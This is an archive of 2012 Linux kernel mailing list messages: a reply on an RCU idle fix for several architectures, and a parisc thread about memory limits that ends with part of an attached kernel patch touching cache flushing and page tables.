	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Cris <linux-cris-kernel@axis.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	alpha <linux-alpha@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Sep 17 22:56:37 2012
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1TDiMu-0005dc-Ll
	for glpm-linux-m68k@plane.gmane.org; Mon, 17 Sep 2012 22:56:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932242Ab2IQU4c (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 17 Sep 2012 16:56:32 -0400
Original-Received: from e36.co.us.ibm.com ([32.97.110.154]:46506 "EHLO
	e36.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756581Ab2IQU4a (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Mon, 17 Sep 2012 16:56:30 -0400
Original-Received: from /spool/local
	by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-m68k@lists.linux-m68k.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 17 Sep 2012 14:56:29 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 17 Sep 2012 14:55:32 -0600
Original-Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 7E81D19D8045
	for <linux-m68k@lists.linux-m68k.org>; Mon, 17 Sep 2012 14:55:28 -0600 (MDT)
Original-Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167])
	by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id q8HKtLXa157790
	for <linux-m68k@lists.linux-m68k.org>; Mon, 17 Sep 2012 14:55:23 -0600
Original-Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id q8HKtJha014643
	for <linux-m68k@lists.linux-m68k.org>; Mon, 17 Sep 2012 14:55:21 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.47.24.72])
	by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id q8HKtJVP014606;
	Mon, 17 Sep 2012 14:55:19 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 26B26EC512; Mon, 17 Sep 2012 13:55:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAMuHMdURT2vdF8uGZbMO09iGbLeSaVzwNthKEA1WwOtH6dQN_A@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 12091720-7606-0000-0000-000003C08A6F
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:4271 gmane.linux.kernel:1360228 gmane.linux.kernel.stable:31216 gmane.linux.ports.parisc:4583 gmane.linux.ports.alpha:1916
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/4271>

On Mon, Sep 17, 2012 at 10:31:24PM +0200, Geert Uytterhoeven wrote:
> Hi Frederic, Paul,
> 
> On Thu, Aug 23, 2012 at 11:50 PM, Frederic Weisbecker
> <fweisbec@gmail.com> wrote:
> > On Thu, Aug 23, 2012 at 10:23:22PM +0200, Geert Uytterhoeven wrote:
> >> On Thu, Aug 23, 2012 at 1:02 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
> >> > On Wed, Aug 22, 2012 at 07:18:04PM +0200, Geert Uytterhoeven wrote:
> >> >> On Wed, Aug 22, 2012 at 6:23 PM, Frederic Weisbecker <fweisbec@gmail.com> wrote:
> >> >> > So this fixes some potential RCU stalls in a bunch of architectures.
> >> >> > When rcu_idle_enter()/rcu_idle_exit() became a requirement, we forgot
> >> >> > to handle the architectures that don't support CONFIG_NO_HZ.
> >> >> >
> >> >> > I guess the set should be dispatched into arch maintainer trees.
> >> >>
> >> >> I can take the m68k version, but are you sure you want it this way?
> >> >> Each of them must be in mainline before they can enter stable.
> >> >
> >> > Yeah, I was thinking the right route is for these patches to be
> >> > carried by arch maintainer who then push to Linus and then this goes
> >> > to stable.
> >> >
> >> > Is that ok for you?
> >> >
> >> > Otherwise I can carry the patches myself. In a tree of my own, or
> >> > Paul's or mmotm. As long as I have your ack.
> >>
> >> I applied your patch to the m68k for-3.6/for-linus branch.
> >> I'll ask Linus to pull later in the rc cycle (right now I don't have
> >> anything else
> >> queued for 3.6).
> >> Still, I think it's better to just collect acks and send it to Linus
> >> in one shot,
> >> so it can go into stable in one shot too.
> >
> > Sure I can do that if you prefer.
> 
> What's the conclusion on this one? I saw it entered tip.

I don't see it at tip/master, but perhaps I am looking at the wrong branch.

> I still have it (as the only commit) on my for-3.6 branch, but I don't
> think m68k
> is important enough to be the only architecture to have this fix in 3.6 ;-)

I got only two acks in addition to yours, plus one Tested-by.  So, no,
there does not appear to be a large groundswell of support for pushing
this into 3.6.  If it doesn't go in by some other path, I will be pushing
it into 3.7.

							Thanx, Paul


From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: I have 12GB of RAM but I can only use 1GB?
Date: Tue, 18 Sep 2012 21:36:20 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <CAE2sS1i5E9FDB_5aw+mTySEysOjuLjOQn7S_pOL5-EMBOudqPg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1348018583 5051 80.91.229.3 (19 Sep 2012 01:36:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Sep 2012 01:36:23 +0000 (UTC)
Cc: Jej B <James.Bottomley@hansenpartnership.com>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 19 03:36:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TE9DG-0001go-DF
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Sep 2012 03:36:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753016Ab2ISBgW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Sep 2012 21:36:22 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:41261 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752808Ab2ISBgV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Sep 2012 21:36:21 -0400
Original-Received: by ieak13 with SMTP id k13so785516iea.19
        for <linux-parisc@vger.kernel.org>; Tue, 18 Sep 2012 18:36:20 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:date:message-id:subject:from:to:cc
         :content-type:x-gm-message-state;
        bh=yTmAZUTCjR41+dugFIDOAm8ALcLDPAYNLO9fM7hI7+k=;
        b=WxdDDeVeHrEGZMjybsDocLGga0KVLFisZGbhzv9s2JyIU+Bn/bdn9ot3a3zIy38x8p
         0z5hA+4gWmnqKizUfkq6pHYJONcQG5szh5b7OSIkoEMyuhpvvxXHmZDHl7JqFOtrHEMC
         1qJmdLd8zsml2L+Lf/v6iNLo8gxv/3ZFoZ61YAAko6GkP0gQ4GXSybE7+xheYvorZIi+
         xA/6VG1tn74yzrLTPo0TL91S6jSIoK1eRtOamD4I7nOdSpXKyZdEzNZ9tTYsJjiAIaQ3
         Gs2CR0M6lnx24b+YM6zPrBFTaDtItXvKTRQS3E6M7g+OwseBOi7MIE5iTU9FRkXoznUV
         GTjw==
Original-Received: by 10.50.11.194 with SMTP id s2mr1441638igb.24.1348018580158; Tue,
 18 Sep 2012 18:36:20 -0700 (PDT)
Original-Received: by 10.42.148.67 with HTTP; Tue, 18 Sep 2012 18:36:20 -0700 (PDT)
X-Originating-IP: [67.71.83.60]
X-Gm-Message-State: ALoCoQlVBldjwE8UGMFC8RXYqtOWWLAjON5dSe63Xs2p+y1scQ8TjG6k3wuT817tN4OJRz2M6ymg
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4584
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4584>

Team,

I recently setup my rp3440 in order to get back into more active
development for hppa.

I noticed that in 3.6.0-rc6 I get the following message:
~~~
This Machine has more memory ranges than we support!
Some memory will not be used!
parisc_cache_init: Only equivalent aliasing supported!
Total Memory: 1024 MB
~~~

Which sucks since I have 12GB of RAM in this box and I want to use all of it.

If nobody has run into this problem then I'll just go digging, but I
thought I'd ask here first.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: I have 12GB of RAM but I can only use 1GB?
Date: Wed, 19 Sep 2012 08:06:24 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <2698994.p4ZeTnMdFO@donald.sf-tec.de>
References: <CAE2sS1i5E9FDB_5aw+mTySEysOjuLjOQn7S_pOL5-EMBOudqPg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2720737.2tFQ6dA53e"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1348034800 14254 80.91.229.3 (19 Sep 2012 06:06:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Sep 2012 06:06:40 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 19 08:06:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TEDQr-0000Jg-1T
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Sep 2012 08:06:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755405Ab2ISGGk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Sep 2012 02:06:40 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:59980 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755146Ab2ISGGj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Sep 2012 02:06:39 -0400
Original-Received: (qmail 22216 invoked from network); 19 Sep 2012 06:06:37 -0000
Original-Received: from dslc-082-083-017-222.pools.arcor-ip.net ([::ffff:82.83.17.222]:33668 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Wed, 19 Sep 2012 08:06:37 +0200
User-Agent: KMail/4.9.1 (Linux/3.5.0-35-desktop; KDE/4.9.1; i686; ; )
In-Reply-To: <CAE2sS1i5E9FDB_5aw+mTySEysOjuLjOQn7S_pOL5-EMBOudqPg@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4585
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4585>


--nextPart2720737.2tFQ6dA53e
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

You wrote:
> Team,
> 
> I recently setup my rp3440 in order to get back into more active
> development for hppa.
> 
> I noticed that in 3.6.0-rc6 I get the following message:
> ~~~
> This Machine has more memory ranges than we support!
> Some memory will not be used!
> parisc_cache_init: Only equivalent aliasing supported!
> Total Memory: 1024 MB
> ~~~
> 
> Which sucks since I have 12GB of RAM in this box and I want to use all of
> it.
> 
> If nobody has run into this problem then I'll just go digging, but I
> thought I'd ask here first.

IIRC you need CONFIG_DISCONTIGMEM.

Eike
--nextPart2720737.2tFQ6dA53e
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlBZYOkACgkQXKSJPmm5/E57BACeMyMCoJb5dRDbWG2AaGQPBhRw
trAAmwW+BfD/W33MM/HehNhil/yNtqrN
=4oX6
-----END PGP SIGNATURE-----

--nextPart2720737.2tFQ6dA53e--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: I have 12GB of RAM but I can only use 1GB?
Date: Wed, 19 Sep 2012 19:26:25 -0400
Lines: 1457
Approved: news@gmane.org
Message-ID: <BLU0-SMTP21E4975DA9B1176FC72936979B0@phx.gbl>
References: <CAE2sS1i5E9FDB_5aw+mTySEysOjuLjOQn7S_pOL5-EMBOudqPg@mail.gmail.com> <2698994.p4ZeTnMdFO@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-16-422798044"
X-Trace: ger.gmane.org 1348097581 8555 80.91.229.3 (19 Sep 2012 23:33:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Sep 2012 23:33:01 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 20 01:33:02 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TETlN-00028T-61
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Sep 2012 01:33:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752819Ab2ISXc4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Sep 2012 19:32:56 -0400
Original-Received: from blu0-omc3-s1.blu0.hotmail.com ([65.55.116.76]:57980 "EHLO
	blu0-omc3-s1.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752814Ab2ISXcx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Sep 2012 19:32:53 -0400
X-Greylist: delayed 369 seconds by postgrey-1.27 at vger.kernel.org; Wed, 19 Sep 2012 19:32:53 EDT
Original-Received: from BLU0-SMTP21 ([65.55.116.74]) by blu0-omc3-s1.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 19 Sep 2012 16:26:43 -0700
X-Originating-IP: [69.158.129.29]
X-EIP: [YT0OdSkQXXJ/8tGfLBnH5XkPGOg0ss4T]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.29]) by BLU0-SMTP21.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 19 Sep 2012 16:26:41 -0700
In-Reply-To: <2698994.p4ZeTnMdFO@donald.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 19 Sep 2012 23:26:42.0317 (UTC) FILETIME=[39E983D0:01CD96BE]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4586>

--Apple-Mail-16-422798044
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 19-Sep-12, at 2:06 AM, Rolf Eike Beer wrote:

> IIRC you need CONFIG_DISCONTIGMEM.

Enclosed is my latest kernel patch against 3.5.4.

One of things it addresses is an issue with CONFIG_DISCONTIGMEM  
introduced in 3.4.

Another new thing is a hack which tries to paper over a softirq  
problem.  For some reason,
we sometimes run off the end of the vector pending list causing a  
panic.  This is probably related
to the restart issues discussed by Al Viro as things were worse with  
Al's suggested change.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-16-422798044
Content-Disposition: attachment; filename="linux-stable-3.5-20120802.d.txt"
Content-Type: text/plain; x-unix-mode=0644;
	name="linux-stable-3.5-20120802.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/hpux/gate.S b/arch/parisc/hpux/gate.S
index 38a1c1b..8e52a3b 100644
--- a/arch/parisc/hpux/gate.S
+++ b/arch/parisc/hpux/gate.S
@@ -72,6 +72,7 @@ ENTRY(hpux_gateway_page)
 	STREG	%r27, TASK_PT_GR27(%r1)		/* user dp */
 	STREG   %r28, TASK_PT_GR28(%r1)         /* return value 0 */
 	STREG   %r28, TASK_PT_ORIG_R28(%r1)     /* return value 0 (saved for signals) */
+	STREG	%r0, TASK_PT_ORIG_R28(%r1)	/* don't prohibit restarts */
 	STREG   %r29, TASK_PT_GR29(%r1)         /* 8th argument */
 	STREG	%r31, TASK_PT_GR31(%r1)		/* preserve syscall return ptr */
 	
diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 9f21ab0..79f694f 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -115,7 +115,9 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 {
 	if (PageAnon(page)) {
 		flush_tlb_page(vma, vmaddr);
+		preempt_disable();
 		flush_dcache_page_asm(page_to_phys(page), vmaddr);
+		preempt_enable();
 	}
 }
 
diff --git a/arch/parisc/include/asm/compat_rt_sigframe.h b/arch/parisc/include/asm/compat_rt_sigframe.h
deleted file mode 100644
index 81bec28..0000000
--- a/arch/parisc/include/asm/compat_rt_sigframe.h
+++ /dev/null
@@ -1,50 +0,0 @@
-#include<linux/compat.h>
-#include<linux/compat_siginfo.h>
-#include<asm/compat_ucontext.h>
-
-#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
-
-/* In a deft move of uber-hackery, we decide to carry the top half of all
- * 64-bit registers in a non-portable, non-ABI, hidden structure.
- * Userspace can read the hidden structure if it *wants* but is never
- * guaranteed to be in the same place. Infact the uc_sigmask from the 
- * ucontext_t structure may push the hidden register file downards
- */
-struct compat_regfile {
-	/* Upper half of all the 64-bit registers that were truncated
-	   on a copy to a 32-bit userspace */
-	compat_int_t rf_gr[32];
-	compat_int_t rf_iasq[2];
-	compat_int_t rf_iaoq[2];
-	compat_int_t rf_sar;
-};
-
-#define COMPAT_SIGRETURN_TRAMP 4
-#define COMPAT_SIGRESTARTBLOCK_TRAMP 5 
-#define COMPAT_TRAMP_SIZE (COMPAT_SIGRETURN_TRAMP + COMPAT_SIGRESTARTBLOCK_TRAMP)
-
-struct compat_rt_sigframe {
-	/* XXX: Must match trampoline size in arch/parisc/kernel/signal.c 
-	        Secondary to that it must protect the ERESTART_RESTARTBLOCK
-		trampoline we left on the stack (we were bad and didn't 
-		change sp so we could run really fast.) */
-	compat_uint_t tramp[COMPAT_TRAMP_SIZE];
-	compat_siginfo_t info;
-	struct compat_ucontext uc;
-	/* Hidden location of truncated registers, *must* be last. */
-	struct compat_regfile regs; 
-};
-
-/*
- * The 32-bit ABI wants at least 48 bytes for a function call frame:
- * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
- * which Linux/parisc uses is sp-20 for the saved return pointer...)
- * Then, the stack pointer must be rounded to a cache line (64 bytes).
- */
-#define SIGFRAME32		64
-#define FUNCTIONCALLFRAME32	48
-#define PARISC_RT_SIGFRAME_SIZE32					\
-	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
-
-#endif
diff --git a/arch/parisc/include/asm/mmzone.h b/arch/parisc/include/asm/mmzone.h
index e67eb9c..31835b9 100644
--- a/arch/parisc/include/asm/mmzone.h
+++ b/arch/parisc/include/asm/mmzone.h
@@ -1,9 +1,10 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+
 #ifdef CONFIG_DISCONTIGMEM
 
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
 extern int npmem_ranges;
 
 struct node_map_data {
@@ -60,7 +61,5 @@ static inline int pfn_valid(int pfn)
 	return 0;
 }
 
-#else /* !CONFIG_DISCONTIGMEM */
-#define MAX_PHYSMEM_RANGES 	1 
 #endif
 #endif /* _PARISC_MMZONE_H */
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index 4e0e7db..d9812d8 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,27 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)	copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
+void clear_page_asm(void *page);
+void copy_page_asm(void *to, void *from);
+void clear_user_page(void *vto, unsigned long vaddr, struct page *pg);
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+
+// #define CONFIG_PARISC_TMPALIAS
+
+#ifdef CONFIG_PARISC_TMPALIAS
+void clear_user_highpage(struct page *page, unsigned long vaddr);
+#define clear_user_highpage clear_user_highpage
+struct vm_area_struct;
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma);
+#define __HAVE_ARCH_COPY_USER_HIGHPAGE
+#endif
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..563724d 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -462,10 +468,13 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 #ifdef CONFIG_SMP
 	unsigned long new, old;
 
+	/* ??? This might be racy because the page table updates in
+	   entry.S don't use the same lock.  */
 	do {
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/include/asm/real.h b/arch/parisc/include/asm/real.h
deleted file mode 100644
index 82acb25..0000000
--- a/arch/parisc/include/asm/real.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#ifndef _PARISC_REAL_H
-#define _PARISC_REAL_H
-
-
-#endif
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index dcd5510..5df1597 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -141,6 +141,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -230,6 +231,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 9d18189..795d392 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -267,9 +267,11 @@ static inline void
 __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr,
 		   unsigned long physaddr)
 {
+	preempt_disable();
 	flush_dcache_page_asm(physaddr, vmaddr);
 	if (vma->vm_flags & VM_EXEC)
 		flush_icache_page_asm(physaddr, vmaddr);
+	preempt_enable();
 }
 
 void flush_dcache_page(struct page *page)
@@ -315,7 +317,7 @@ void flush_dcache_page(struct page *page)
 		flush_tlb_page(mpnt, addr);
 		if (old_addr == 0 || (old_addr & (SHMLBA - 1)) != (addr & (SHMLBA - 1))) {
 			__flush_cache_page(mpnt, addr, page_to_phys(page));
-			if (old_addr)
+			if (old_addr && parisc_requires_coherency())
